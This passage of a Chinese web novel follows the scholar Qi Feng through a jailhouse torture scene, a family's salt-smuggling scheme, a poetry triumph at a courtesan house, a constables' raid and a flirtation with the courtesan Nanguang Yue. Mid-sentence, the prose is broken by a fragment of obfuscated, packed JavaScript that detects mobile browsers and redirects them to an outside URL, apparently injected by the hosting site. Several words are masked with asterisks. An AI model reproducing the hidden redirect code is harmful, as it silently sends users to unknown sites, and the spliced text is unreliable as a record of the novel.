齐枫沉思片刻,摇了摇头:“不必打草惊蛇。放他走,但要让他知道,我们发现了。”
楚清秋会意,转身欲走。
齐枫笑了笑,“小心些。”
楚清秋深深看了他一眼,转身消失在夜色中。
府衙大牢深处,潮湿的石壁上跳动着微弱的火把光芒。
陈三被铁链吊在刑架上,赤裸的上身布满鞭痕,刀疤脸上沾满血污,却仍挂着狰狞的笑容。
“啪!”
蘸了盐水的皮鞭再次抽在他胸膛上,带起一道血痕。
陈三浑身肌肉绷紧,却硬是没叫出声。
“说!黑风寨的老巢在青龙山哪个位置?”衙役喘着粗气,甩了甩发酸的手腕。
陈三啐出一口血沫,咧开染血的牙齿:“就这点本事?连怡红院的姑娘手劲都比你们大!”
“你!”衙役大怒,举起鞭子又要抽下。
“慢着。”
阴影中走出一个身着官服的中年男子,正是知府赵明德。
他负手而立,冷峻的面容在火光中忽明忽暗。
“陈三,本官再给你最后一次机会。”赵明德的声音不疾不徐,“老实交代黑风寨的布防,本官可以让你死得痛快点。”
陈三抬起头,眼中闪过一丝讥讽:“赵大人,我劝您别白费力气了。我陈三烂命一条,死不足惜。但您要是真把我逼急了,我背后的大人物,恐怕不会让您好过。”
此话一出,牢内温度骤降!
第三十章 大人物
赵明德眉头微皱:“哦?什么大人物敢明着包庇土匪?”
“哈哈哈!”陈三突然大笑,牵动伤口又咳出几口血,“赵大人,您在这偏隅之地待久了,眼界也变窄了。有些事,不是您一个五品知府能插手的。”
赵明德眼中寒光一闪,对身旁的师爷使了个眼色。
师爷会意,从炭盆中抽出一根烧红的烙铁。
“啊!!”
烙铁按在陈三肩头,皮肉烧焦的臭味顿时弥漫开来。
陈三终于发出撕心裂肺的惨叫,额头青筋暴起,豆大的汗珠混着血水滚落。
“本官最后问一次,”赵明德俯身,盯着陈三扭曲的面容,“黑风寨的布防图,交是不交?”
陈三喘着粗气,眼中却闪过一丝诡异的笑意:“赵大人,您以为抓了我,就能端掉黑风寨?做梦!”
他艰难地抬起头,“寨子里,还有三百弟兄,个个都是亡命之徒,您就等着血流成河吧!”
赵明德直起身,面无表情地挥了挥手:“继续用刑,别弄**。”
说完转身走向牢门,身后再次响起陈三的惨叫声。
师爷快步跟上,低声道:“大人,要不要派人去青龙山查探?”
“不急。”赵明德脚步不停,“先查清楚这大人物是谁。陈三如此有恃无恐,背后必不简单。”
夜色如墨,张家大宅内却灯火通明。
“啪!”
一记响亮的耳光声在书房内回荡。
张韬被打得踉跄几步,撞翻了身后的花瓶,碎瓷片溅了一地。
“孽障!”**然指着儿子的鼻子,气得浑身发抖,“我张家百年声誉,全毁在你手里!用这种没脑子的手段?你脑子里装的是粪吗?”
张韬捂着红肿的脸,跪在地上不敢抬头。
他身后,张家大少爷张济冷眼旁观,嘴角噙着一丝若有若无的冷笑。
“父亲息怒。”张济上前扶住摇摇欲坠的**然,“二弟也是一时糊涂,被那齐枫激得昏了头。”
“糊涂?”**然甩开长子的手,怒极反笑,“他这是要把我们全家往火坑里推!赵明德是什么人?铁面判官!若让他查到那三十引官盐的事。”
话一出口,**然猛然意识到失言,急忙住口。
张济眼中精光一闪,若有所思地看了父亲一眼。
“父亲,”张韬突然抬头,眼中满是怨毒,“那齐枫有问题!他从前就是个不学无术的纨绔,怎么突然变得这么厉害?我怀疑……”
“怀疑什么?”**然皱眉。
“借尸还魂!”张韬压低声音,“我听说有些邪术能让**附在活人身上。齐枫变化这么大,说不定就是借尸还魂了!”
“荒谬!”**然厉声打断,“这世上哪有什么借尸还魂?要有这本事,你怎么不也还魂一下,变得聪明点?”
张济轻咳一声:“父亲,二弟虽然说得离谱,但那齐枫确实蹊跷,我派人查过,他从前斗鸡走狗,**样样精通,唯独对读书一窍不通,可如今满腹诗华,与先前判若两人。”
他眯起眼睛,“诗会上那首《水调歌头》,连李墨阳都赞不绝口。这般才华,绝非一朝一夕能练就。”
书房内一时陷入沉默。
**然缓缓坐回太师椅,眉头紧锁:“你的意思是……”
“他很可能一直在藏拙。”张济沉声道,“若真如此,那就可怕了。一个能隐忍这么多年的人,所图必然不小。”
张韬不服气地嘟囔:“就他?一个只会……”
“闭嘴!”**然厉喝,“你还有脸说话?五十大板还没挨够?”
张韬缩了缩脖子,不敢再吭声。
张济走到窗前,望着远处齐府的方向:“父亲,我们的计划必须提前了。盐课司那边……”
“慎言!”**然警惕地看了眼门外,“此事非同小可,一旦泄露,满门抄斩!”
张济会意,压低声音:“刘书吏已经打点好了,账目也做得天衣无缝。只是那三十引官盐……”
“在黑风寨。”**然打断他,“陈三被捕,我们必须尽快转移。”
“可是青龙山地形复杂,没有陈三带路,恐怕我们难以上山。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119345|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>**然冷笑一声:“你以为我只有陈三一条线?”
他从袖中取出一封信,“明日你亲自去一趟青龙山,把这封信交给二当家。记住,乔装改扮,别让人认出你。”
张济接过信,眼中闪过一丝讶异:“父亲早就做好了准备?”
“防患于未然而已。”**然疲惫地揉了揉太阳穴,“你们先下去吧,我累了。”
张济躬身告退,临走时瞥了眼仍跪在地上的张韬,眼中闪过一丝轻蔑。
待两人退出书房,**然从暗格中取出一本账册,就着烛光细细查看。
账册上密密麻麻记录着各种数字和代号,其中“三十引”三个字被朱笔圈出,格外醒目。
“齐枫……”**然喃喃自语,眼中寒光闪烁,“不管你是什么来路,敢挡我张家的路,就别怪我心狠手辣!”
……
翌日清晨,齐枫刚用过早膳,小荷就急匆匆跑来:“少爷,吴少爷在门外等您呢!”
“这么早?”齐枫放下茶盏,起身走向大门。
吴胖子正在门口来回踱步,见齐枫出来,连忙迎上去:“齐哥,出事了!”
“慢慢说。”齐枫将他拉到僻静处。
“我表兄今早从府衙回来,说那陈三在牢里……”吴胖子左右看了看,“**!”
齐枫眉头一皱:“**的?”
“说是畏罪自尽。”吴胖子擦了擦额头的汗,“可我表兄说,陈三死前受过重刑,浑身没一块好肉,根本不可能自己了断。”
齐枫眼中闪过一丝冷意:“赵大人知道吗?”
“知道,但奇怪的是,赵大人下令立即收殓,连验尸都没做。”
吴胖子凑得更近,“更怪的是,陈三的尸体刚抬出大牢,就有黑衣人劫走了!”
齐枫心头一震。这事越来越蹊跷了。
“齐哥,还有更吓人的。”吴胖子声音发颤,“我表兄偷听到赵大人和师爷说话,好像提到什么三十引官盐和黑风寨。”
齐枫眼神一凛,正欲追问,楚清秋突然从院内走出:“少爷,老爷找您。”
第三十二章 韬光养晦
赵明德拍了拍齐枫的肩膀,笑道:“本官果然没看错人!你能隐忍这么多年,如今才一鸣惊人,这份心性,绝非寻常人能比。”
齐枫微微一笑,并未接话。
赵明德继续道:“以你的才华,明年春闱必能高中,甚至……”
他压低声音,“状元也未必不可能。”
齐枫故作惶恐:“大人抬爱了,学生不敢妄想。”
赵明德哈哈大笑:“不必谦虚!本官在官场多年,看人的眼光还是有的。”
齐枫笑了笑,忽然话锋一转:“对了,方才那两位大人是……”
赵明德眼神闪烁了一下,笑道:“上面派来的人,执行一些重要公务,不便多说。”
齐枫点点头,并未追问,但余光却瞥见楚清秋的手指微微攥紧。
看来,那两人的身份不简单。
就在此时,赵明德忽然放下茶盏,语气陡然严肃。
“齐公子,关于那三十引官盐的事……你可有什么想法?”
齐枫闻言,神色微动,随即露出一丝恰到好处的迟疑。
“赵大人,官盐之事关系重大,学生不过一介白身,恐怕……”
赵明德摆了摆手,打断道:“齐公子何必自谦?你能在青田县隐忍多年,韬光养晦,这份心性岂是寻常人能比?本官既然问了你,自然是想听听你的见解。”
他端起茶盏,目光深邃:“有时候,局外人反而看得更清楚。”
齐枫沉吟片刻,似在斟酌言辞,最终缓缓开口:“既如此,学生便斗胆妄言了。”
“官盐失踪,账目却无异常,说明此事绝非寻常盗匪所为,而是内部有人做了手脚。”
赵明德眼中闪过一丝锐利:“继续。”
“三十引官盐,数目不小,若要神不知鬼不觉地运走,必然需要打点沿途关卡,甚至……”齐枫顿了顿,“盐课司内部可能也有人参与。”
赵明德眯了眯眼:“你的意思是,盐课司有内鬼?”
齐枫微微一笑:“学生不敢妄下定论,但账目既然能做得天衣无缝,说明对盐课司的运作极为了解,甚至可能本就是其中之人。”
赵明德沉默片刻,忽然冷笑一声:“有意思。那你觉得,谁会需要这么多官盐?”
“官盐管控严格,民间私盐利润极高。”齐枫目光平静,“能吞下三十引的,要么是地方豪强,要么……”
“要么是什么?”
“要么是某些需要大量银钱运作的势力。”齐枫意味深长地说道。
赵明德瞳孔微缩,似乎想到了什么,但很快又恢复如常。
他深深看了齐枫一眼,忽然大笑:“好!好一个齐枫!果然见解独到!”
他拍了拍齐枫的肩膀,语气赞赏:“本官果然没看错人。”
齐枫谦逊一笑:“学生不过是胡乱猜测,大人见笑了。”
赵明德摇头:“不,你说得很有道理。”
他站起身,负手望向院外渐暗的天色:“今日天色已晚,齐公子不如就在我府住下,明日本官再好好款待于你。”
齐枫拱手:“多谢大人款待。”
赵明德笑道:“府城夜景不错,齐公子若有兴致,不妨出去走走。”
离开赵府后,齐枫带着楚清秋和小荷漫步在府城街道上。
夜幕降临,府城却比白日更加热闹。
沿街灯笼高挂,酒肆茶楼灯火通明,小贩吆喝声此起彼伏,行人络绎不绝,比青田县繁华数倍。
小荷兴奋地左顾右盼,时不时拉着楚清秋的手:“清秋姐,你看这个!好漂亮!”
楚清秋却显得有些心不在焉,目光时不时扫向四周,似乎在警惕什么。
齐枫注意到她的异常,低声问道:“怎么了?”
楚清秋摇了摇头:“没什么。”
齐枫没有追问,只是淡淡道:“既然出来了,就放松些。”
小荷没察觉到两人的异样,很快又被街边一家首饰铺吸引,拉着楚清秋过去。
“清秋姐,这个簪子真好看!”小荷指
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着一支雕花银簪,眼中满是喜爱。
楚清秋看了一眼,轻声道:“确实精致。”
小荷拿起簪子看了看价格,顿时吐了吐舌头:“好贵,算了算了。”
她恋恋不舍地放下簪子,正要离开,齐枫却已经走到柜台前,对掌柜道:“这支簪子,还有旁边那支玉簪,一起包起来。”
小荷瞪大眼睛:“少爷?!”
齐枫将银簪递给小荷,玉簪则递给楚清秋:“喜欢就买,何必委屈自己?”
小荷又惊又喜,接过簪子爱不释手:“谢谢少爷!”
楚清秋怔了怔,低声道:“这太贵重了……”
齐枫淡淡道:“戴着吧,适合你。”
楚清秋沉默片刻,最终轻轻点头:“多谢公子。”
小荷笑嘻嘻地凑过来:“少爷真好!”
齐枫揉了揉她的脑袋:“走吧,再逛逛。”
三人沿着街道前行,不知不觉间,前方传来一阵丝竹管弦之声,抬头望去,只见一座三层高的华丽楼阁矗立在街角,檐下悬挂着彩灯,门前宾客络绎不绝。
楼阁匾额上龙飞凤舞地写着三个大字,醉月楼。
小荷好奇地张望:“少爷,这是什么地方?好热闹啊!”
齐枫嘴角微扬:“青楼。”
“啊?”小荷一呆,随即反应过来,脸一红,“少,少爷要去这种地方?”
齐枫轻笑:“怎么,不行?”
小荷结结巴巴:“可,可是……”
楚清秋倒是神色平静,只是目光微微冷了几分。
齐枫看了她一眼,笑道:“要是不进去看看,能对得起我这纨绔之名?”
他抬步朝醉月楼走去,小荷犹豫了一下,还是跟了上去,楚清秋沉默片刻,也迈步跟上。
踏入醉月楼,扑面而来的是一股浓郁的脂粉香气,混着酒香,让人微微眩晕。
楼内灯火通明,宾客满座,中央是一座高台,几名乐师正在演奏,舞姬随着乐声翩翩起舞,引得台下喝彩连连。
第三十四章 声名鹊起
齐枫原本只是饶有兴趣地看戏,没想到话题突然转到了自己身上,不由得挑了挑眉。
他慢悠悠地端起茶盏抿了一口,眼中闪过一丝玩味。
周子陵的话音刚落,醉月楼内顿时一片哗然。
当周子陵提到“齐枫”二字时,南宫玥执壶的手微微一顿。
她目光不经意地扫过全场,在角落那桌停驻。
却见那位蓝衣公子虽衣着寻常,但案上摊开的折扇却露出半阙墨迹,正是前日传遍府城的《水调歌头》笔迹。
诗会当日,便有书商将齐枫手书的词作制成雕版,在府城文庙前发售。
南宫玥晨起梳妆时,丫鬟特意买来呈上,说这是连李墨阳都赞叹的佳作。
此刻见那公子谈笑间露出的字迹,与雕版上的笔锋分毫不差。
更难得的是,他身旁侍女腰间系着的,正是青田齐氏丫鬟特有的双鱼结穗子。
“一定是他!”南宫玥吃吃一笑,美眸发亮。
“齐枫?”陈玉堂眉头紧锁,“青田县那个整日斗鸡走狗的纨绔?周兄莫不是在说笑?”
赵明远也嗤笑一声,手中折扇“唰”地展开:“《水调歌头》若真是他所写,我赵字倒过来写!”
楼内宾客议论纷纷,有人高声道:“我上月去青田县行商,还见齐枫在赌坊门口与人厮打,怎可能突然写出这等绝妙好词?”
“正是!”一个富商模样的男子拍案而起,“我表侄在青田县衙当差,说这齐枫前些日子还因调戏民女被扭送官府,若非他父亲使银子,早该流放三千里了!”
小荷气得脸颊鼓胀,正要争辩,却被楚清秋一个眼神制止。
齐枫却浑不在意,反而悠闲地夹了一筷子鲈鱼,蘸了酱汁细细品尝,悠哉悠哉的模样仿佛别人说的不是自己。
周子陵见众人质疑,冷笑一声:“诸位可知‘大智若愚’四字何解?”
他环视全场,声调陡然提高,“齐公子隐忍十余年,以纨绔之名掩惊世之才,这份心性,岂是尔等凡夫俗子能揣度?”
“荒谬!”陈玉堂拍案而起,“若真有才华,何须藏拙?我看分明是沽名钓誉!”
“陈兄此言差矣。”
二楼雅座忽然传来清朗声音。众人抬头,只见一位青衫文士凭栏而立,“在下临江书院教**,日前亲眼见证齐公子在诗会上七步成诗。那首《水调歌头》字字珠玑,连李墨阳先生都赞为‘百年难遇’。”
这番话如同冷水入沸油,楼内顿时炸开了锅。
“李墨阳?那位辞官归隐的翰林学士?”
“若得他一句称赞,怕是立刻名扬士林啊!”
南宫玥原本慵懒倚在锦榻上,此刻也不由直起身子,轻纱下的美眸闪过一丝异彩,再度看向齐枫的方向。
赵明远仍不死心:“即便如此,焉知不是提前备好的诗作?”
“赵公子此言可笑。”周子陵抚掌大笑,“当日诗题乃知府大人当场所出,齐公子挥毫立就,在场百余学子皆可作证。”
他忽然压低声音,“更妙的是,青川书院柳明轩当场挑衅,结果被齐公子用同一词牌即兴再赋一首,当场羞得无地自容。”
这番话说得绘声绘色,众人听得入神。
角落里,一个商贾打扮的中年人突然插话:“此事千真万确!我侄儿在书山书院就读,说那柳明轩回书院后三日闭门不出,昨日竟收拾行囊返乡了!”
“嘶!!”
楼内响起一片倒吸凉气的声音。
柳明轩在府城年轻一辈中颇有诗名,竟被打击至此?
台上的南宫玥忽然轻移莲步,雪白的罗袜踩在猩红地毯上,步步生莲。
她行至齐枫桌前五步处,盈盈下拜:“奴家眼拙,竟未认出齐公子。前日得闻《水调歌头》,夜不能寐,反复吟诵数十遍仍觉唇齿留香。”
她这一拜,满楼哗然。
南宫玥作为醉月楼头牌,向来清高自持,知府大人设宴相邀都时常推辞。
今日竟对一个年轻学子行此大礼?
齐枫终于放下筷子,执扇虚扶:“南宫姑娘请起。拙作能入姑娘慧眼,是齐某之幸。”
“公子过谦了。”南宫玥抬眸,眼波如秋水横流,“‘但愿人长久,千里共婵娟’这般佳句,奴家斗胆,怕是苏学士再世也难超越。”
这话说得极重,楼内顿时鸦雀无声。
将当代学子与千古文豪相比,简直
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是石破天惊的评价。
陈玉堂脸色铁青,突然冷笑:“南宫姑娘怕是收了齐家银子吧?这般吹捧,也不怕闪了舌头!”
“陈玉堂!”周子陵勃然大怒,“你敢辱南宫姑娘清誉?”
南宫玥却不恼,反而掩唇轻笑:“陈公子既然不信,不如当场考较一番?”
她美目流转,“恰好奴家新得一幅《寒江独钓图》,不如请齐公子即兴题诗?”
这提议正中陈玉堂下怀。
他急不可待地挥手:“取画来!若他真能七步成诗,我陈玉堂当场磕头赔罪!”
小厮很快捧来卷轴。
展开后,只见一幅三尺绢本:寒江寂寥,孤舟蓑笠,意境清冷至极。
所有人的目光都聚焦在齐枫身上。
楚清秋面纱下的唇角微抿,小荷紧张地攥住衣角。
齐枫负手而立,凝视画卷片刻,忽然轻笑:“不必七步。”
他信手取过狼毫,蘸墨挥毫:
“千山鸟飞绝,万径人踪灭。孤舟蓑笠翁,独钓寒江雪。”
二十个字力透纸背,最后一笔落下时,楼内静得能听见墨汁渗入宣纸的细微声响。
“好!”李文渊第一个击节赞叹,“字字如刀,意境超然!这‘绝’‘灭’二字,将孤寂写到极致,却又在末句以‘独钓’显出遗世独立的风骨!”
南宫玥痴痴望着诗句,忽然摘下发间玉簪放在案上:“此诗当值万金。奴家身无长物,唯此簪是知府大人所赠,愿赠公子以表钦佩。”
这个举动如同惊雷炸响。
花魁赠簪,在风月场中意味着倾心相许!
陈玉堂面如死灰,踉跄后退两步,赵明远呆立原地,手中折扇“啪嗒”落地。
周子陵哈哈大笑,对着齐枫长揖到地:“齐兄大才,周某五体投地!从今往后,府城才子当以齐兄为尊!”
楼内宾客如梦初醒,纷纷起身行礼。
有人高呼:“快马去请文心斋主编!这等佳作当立刻刊印流传!”
小荷激动得小脸通红:“少爷!你太厉害了!”
就在满楼惊叹声中,周子陵忽然折扇一收,似笑非笑地看向陈玉堂:“陈兄,方才的赌约可还作数?”
第三十五章 缉拿朝廷钦犯
陈玉堂脸色瞬间煞白。
他方才当众立誓,若齐枫真能即兴题诗,便要磕头赔罪。
此刻众目睽睽之下,他攥着折扇的指节都泛了青。
“我……”他喉结滚动,额头渗出细汗。
堂堂陈家嫡子若当众下跪,明日就会成为全府城的笑柄。
赵明远见状正要开口,齐枫却先一步起身:“玩笑之言,何必当真?”
他执扇虚扶,“陈公子方才不过是想考较在下,此乃文人雅趣,何来赌约一说?”
周子陵挑眉:“齐兄倒是大度。”
“非是大度。”齐枫目光扫过陈玉堂紧绷的肩膀,轻笑道,“今日以诗会友,本为尽兴。若因戏言伤了和气,反倒不美。”
这番话既全了陈玉堂的颜面,又暗示自己并非软弱可欺。
果然,陈玉堂紧绷的肩膀微微一松,看向齐枫的眼神复杂起来。
他正要开口说话,醉月楼大门突然被踹开。
一队黑衣衙役持刀闯入,为首者厉喝:
“奉按察使司钧令,缉拿朝廷钦犯!”
原本喧闹的大厅瞬间安静下来,丝竹声戛然而止,宾客们面面相觑,脸上浮现惊疑之色。
为首的衙役身着黑红相间的官服,腰间配刀,面容冷峻,目光如鹰隼般扫视全场。
他身后跟着十余名持刀差役,气势汹汹,显然来者不善。
“这位大人,不知有何贵干?”醉月楼的老鸨慌忙迎上前,脸上堆着笑。
衙役头领冷冷瞥了她一眼,从怀中掏出一纸公文,扬声道:“奉上命,搜查逃犯!所有人不得擅动,违者以同谋论处!”
此言一出,楼内顿时骚动起来。
“搜查逃犯?开什么玩笑!”陈玉堂第一个站出来,脸色阴沉,“这里是醉月楼,来的都是府城有头有脸的人物,岂容你们这般放肆?”
赵明远也上前一步,折扇一收,冷笑道:“按察使司的人什么时候连醉月楼都敢闯了?莫不是喝多了酒,走错了地方?”
周子陵虽未开口,但眉头紧锁,显然也对衙役的闯入极为不满。
衙役头领面对三位世家公子的质问,却丝毫不为所动,只是冷冷道:“三位公子,公务在身,恕难从命。若敢阻拦,休怪本官不讲情面。”
陈玉堂怒极反笑:“好大的口气!你可知我陈家与按察使大人的关系?”
“陈公子,”衙役头领目光锐利,“今日便是按察使大人亲自下的令,您若不信,大可去衙门问个清楚。”
这话一出,陈玉堂顿时语塞。
按察使司掌管一省刑名,权力极大,即便是陈家,也不敢轻易得罪。
楼内气氛一时凝滞。
齐枫坐在角落,目光扫过全场,忽然眉头一皱。
楚清秋不见了。
方才衙役闯入时,她还站在自己身后,此刻却已不见踪影。
“搜!”衙役头领一声令下,差役们立刻分散开来,挨个盘查楼内宾客。
有人被粗暴地拽起,有人被掀开衣领验看脖颈,更有甚者,连随身携带的包袱都被翻了个底朝天。
宾客们敢怒不敢言,只能忍气吞声。
南宫玥站在台上,面色微白,但神情依旧镇定。
她轻声道:“大人,醉月楼开门做生意,向来遵纪守法,绝不会窝藏逃犯。还请大人明察。”
衙役头领看了她一眼,语气稍缓:“南宫姑娘,本官也是奉命行事,得罪了。”
说罢,他亲自带人上了二楼,挨个房间搜查。
齐枫坐在原位,手指轻轻敲击桌面,心中思绪飞转。
差役很快搜到了他这一桌。
“姓名?籍贯?来此作甚?”一名差役厉声问道。
齐枫抬眸,淡淡道:“青田县齐枫,应邀来府城赴宴,途经醉月楼,稍作歇息。”
那差役听到“齐枫”二字,愣了一下,随即皱眉:“你就是那个写出《水调歌头》的齐枫?”
齐枫微微一笑:“正是。”
差役犹豫了一下,回头看向衙役头领。
头领走过来,上下打量齐枫一番,忽然拱手道:“原来是齐公子,失礼了。”
齐枫挑眉:“大人认识我?”
衙役头领摇头:“不认识,但赵大人曾提过公子才名,今日一见,果然气度不凡。”
齐枫心中一动。
赵明德竟在按察使司的人面前提起过他?
什么时候?他和赵明德相识也就在这两天而已。
搜查持续了约莫半个时辰,差役们翻遍了醉月楼的每一个角落,却一无所获。
“头儿,没有。”一名差役低声禀报。
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>衙役头领眉头紧锁,显然对这个结果不太满意,但碍于在场宾客的身份,也不好再纠缠,只得挥手道:“撤!”
差役们如潮水般退去,楼内顿时响起一片松气声。
“晦气!”陈玉堂啐了一口,“好好的兴致,全被搅和了!”
赵明远摇着折扇,冷笑道:“按察使司的人越来越嚣张了,连醉月楼都敢搜,明日我非得让我爹参他们一本不可!”
周子陵则走到齐枫身旁,低声道:“齐兄,此事蹊跷,按察使司向来不会无的放矢,今日这般大张旗鼓,怕是真有要犯潜逃。”
齐枫微微点头,目光却依旧扫视着四周,寻找楚清秋的身影。
就在这时,南宫玥款款走来,轻声道:“齐公子受惊了。”
齐枫收回目光,笑道:“无妨,只是扰了姑娘的雅兴。”
南宫玥眼波流转,忽然压低声音:“公子在寻那位戴面纱的姑娘?”
齐枫心头一跳,面上却不动声色:“姑娘见过她?”
南宫玥微微一笑:“方才衙役闯入时,见她往后院去了,想必是去……方便。”
这个解释合情合理,但齐枫却敏锐地察觉到她话中的迟疑。
“原来如此。”他故作轻松地点头,“多谢姑娘告知。”
南宫玥深深看了他一眼,忽然道:“今日得见公子诗才,奴家心向往之。不知公子可否赏脸,入厢房一叙?奴家新得了一坛寒梅酿,正愁无人共品。”
此言一出,周围顿时响起一片吸气声。
醉月楼的花魁邀人入厢房,这可是天大的面子!
陈玉堂和赵明远脸色顿时难看至极,周子陵则笑着拍了拍齐枫的肩膀:“齐兄,好福气啊!”
小荷在一旁瞪大眼睛,结结巴巴道:“少,少爷,这……”
齐枫看了一眼后院方向,楚清秋仍未回来。
他沉吟片刻,忽然笑道:“既然姑娘盛情,齐某却之不恭。”
满座哗然!
“天啊!南宫姑娘竟真的邀他入房!”
“我出千金都未能得她一眼,这齐枫凭什么……”
“就凭人家能写出《水调歌头》!你有这本事,南宫姑娘也请你喝酒!”
在众人或羡慕或嫉妒的目光中,齐枫起身,随南宫玥朝二楼厢房走去。
第三十六章 暧昧勾搭
齐枫随南宫玥踏上铺着波斯地毯的楼梯,木质台阶在脚下发出细微的吱呀声。
二楼走廊两侧悬挂着名家字画,每隔三步便有一盏宫灯,将廊道映照得如同白昼。
“公子小心台阶。”南宫玥回眸浅笑,纤纤玉手指向转角处,“这边请。”
推开雕花木门,一股清雅的沉水香扑面而来。
厢房内陈设极尽雅致,紫檀木案上摆着整套青瓷酒具,窗边竹帘半卷,月光透过帘隙在地毯上投下斑驳光影。
最引人注目的是墙上挂着的一幅《寒梅图》,笔法苍劲有力。
“姑娘这厢房,倒比许多世家小姐的闺阁还要精致。”齐枫执扇轻点那幅画作,“醉月楼果然名不虚传。”
南宫玥掩唇轻笑,腕间翡翠镯子随着动作叮咚作响:“公子好眼力。这画是去年一位南洋商人抵债的物件,奴家瞧着喜欢,便求妈妈留了下来。”
她说着素手轻抬,“公子请坐这湘妃竹榻,最是清凉解暑。”
齐枫刚坐下,便觉竹榻上铺着的冰丝席沁出丝丝凉意。
南宫玥已执起酒壶,琥珀色的酒液在空中划出一道弧线,稳稳落入杯中。
“寒梅酿。”她将酒杯推至齐枫面前,“取腊月里第一茬白梅,以天山雪水酿制,埋在地窖整三年才启封。公子尝尝?”
酒液在夜光杯中泛着莹润的光泽,齐枫接过时,南宫玥的指尖似有若无地擦过他虎口处的薄茧。
这触碰轻若蝶翼,却又带着灼人的温度,让人忍不住心头一荡。
“好酒。”齐枫浅啜一口,喉间顿时泛起梅花的冷香与雪水的清冽,“初入口时凛冽如刀,回味却绵长甘甜,当真妙极。”
南宫玥眼波流转,执壶的手腕微微倾斜,宽大的袖口顺势滑落,露出半截凝脂般的玉臂。
“公子可知这酒的妙处?”
她忽然倾身,发间金步摇垂下的珍珠几乎要碰到齐枫的面颊,“需得……用体温慢慢暖着喝。”
她说话时吐气如兰,带着酒香的呼吸轻轻拂过齐枫耳际。
齐枫不动声色地后仰半寸,折扇“唰”地展开:“姑娘这般热情,齐某怕是消受不起。”
“公子说笑了。”南宫玥退回原位,却将绣鞋尖悄悄抵上了齐枫的皂靴。
“奴家不过是见公子风雅,想起从前在闺中读诗经时,最喜那句,有美一人,清扬婉兮。”
窗外忽然传来更夫的梆子声,三长两短。
南宫玥立即起身将窗边的香炉转了半圈,炉中升起的青烟顿时变了方向。
“姑娘似乎对时辰格外在意?”齐枫状似无意地问道。
南宫玥重新落座时,裙裾如花瓣般铺展开来:“让公子见笑了。醉月楼的规矩,子时前要熄掉半数灯火。”
她忽然压低声音:“方才衙役搜查时,公子身边的蒙面姑娘姑娘身手极好,翻墙时衣袂都不曾沾尘。这般本事,可不像是寻常侍女。”
烛火噼啪爆了个灯花。
齐枫凝视着杯中晃动的酒液,忽然笑道:“姑娘邀我入厢房,就为打听这些?”
“公子误会了。”南宫玥从案下取出一卷绢帛,“其实是想请教公子,这水调歌头中转朱阁,低绮户二句,为何要用转、低两个动词?奴家琢磨许久都不得其解。”
齐枫接过绢帛,发现上面竟用金粉誊抄着自己的词作,字迹工整如印刷。
他正要开口,忽听楼下传来周子陵清朗的声音:“齐兄!可要小弟送醒酒汤上来?”
南宫玥噗嗤一笑:“周公子倒是体贴。”
她将鎏金酒壶轻轻一转,琥珀色的酒液在空中划出一道晶莹的弧线,却故意失手让几滴酒液溅在齐枫的袖口,连忙抽出绢帕去擦。
“哎呀,都怪奴家手笨。”南宫玥说着,整个人倾身过来,一股芬芳直接扑面而来。
齐枫顺势握住她的手腕:“姑娘这帕子倒是别致。”
“公子喜欢?”南宫玥眼波流转,任由他握着手腕,“这是用苏杭最上等的云锦裁的,浸了三年茉莉香露……”
她突然轻呼一声,假装重心不稳跌向齐枫怀中。
齐枫扶住她的肩头,指尖触到一抹温润如玉的肌肤。
南宫玥的纱
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衣不知何时滑落半寸,露出圆润白净的肩头。
她却不急着整理衣物,反而就着这个姿势仰起脸:“听说公子在青田县时最爱听霓裳羽衣曲?”
“姑娘消息倒是灵通。”齐枫不动声色地帮她拉好衣襟,顺手取过案上一支玉簪把玩,“不过那都是从前的事了。”
南宫玥突然按住他转动玉簪的手:“这支簪子,是奴家及笄时母亲给的,公子可要小心些。”
她说着突然凑近,近到能数清睫毛的间距,两人口鼻翕动的热气都混在了一起:“公子可知这簪子有个妙处?”
温热的呼吸带着酒香扑在齐枫耳畔,“若是遇到知音人……”
门外突然传来小荷的咳嗽声。
南宫玥不退反进,红唇几乎贴上齐枫的耳垂:“就会变得滚烫。”
齐枫突然用玉簪挑起她一缕青丝:“那现在它……”
“烫得厉害呢。”南宫玥抓住他的手按在自己心口,“公子摸摸看?”
齐枫感受着手下急促的心跳和那一片丰润的饱满,忽然用玉簪轻刮她绯红的脸颊:“姑娘这儿的胭脂,是用石榴汁调的吧?”
“公子连这个都懂?”南宫玥惊讶地睁大杏眼,随即又娇笑起来,“那公子猜猜,奴家唇上的口脂是什么做的?”
她说着微微嘟起红唇,像是等待品尝的樱桃。
齐枫却突然用玉簪尾端轻点她的唇峰:
“朱砂、蜂蜡……”他故意停顿,“还有一点龙涎香。”
南宫玥突然咬住玉簪,贝齿在白玉上留下浅浅的牙印:“公子这般了解女子妆容,莫不是经常……”
“少爷!”小荷在门外急得跺脚,“周公子说再不走,醒酒汤就要没了!”
南宫玥这才依依不舍地退开,却将咬过的玉簪塞进齐枫袖中:“公子可要收好了。”
她意有所指地眨眨眼,“这簪子认主。”
齐枫起身时,南宫玥突然从背后环住他的腰:“明日未时,西湖画舫有场私密的诗会,来的都是不慕虚名的真才子。公子若有兴趣,奴家给公子准备了个惊喜。”
第三十八章 嘴硬
小荷提着裙摆小跑上前,绣鞋踩在青石板上发出清脆的声响。“青禾姐!”
她一把抓住楚清秋的衣袖,眼眶微微发红,“你吓死我了!衙役来搜人的时候一转眼你就不见了,我还以为……”
楚清秋抬手轻轻拂去小荷发间的落叶,这个罕见的温柔动作让小姑娘愣住了。
“我没事。”她声音依旧清冷,却比平日多了几分温度,“只是突然觉得闷,出去走了走。”
“可,可是……”小荷仰起脸,借着月光突然注意到楚清秋袖口有一道新鲜的裂痕,“你的衣服怎么……”
“树枝刮的。”楚清秋迅速将手腕一转,裂痕隐入褶皱中。
她转头看向倚在廊柱边的齐枫,那人正仰头望着月亮,嘴角噙着若有若无的笑意,似乎对这边的对话毫不在意。
知府安排的别院栽着几株晚桂,此刻暗香浮动。
楚清秋示意小荷先去准备热水,自己则缓步走向齐枫。
月光将她的影子拉得很长,最终与齐枫的影子在青砖地上重叠。
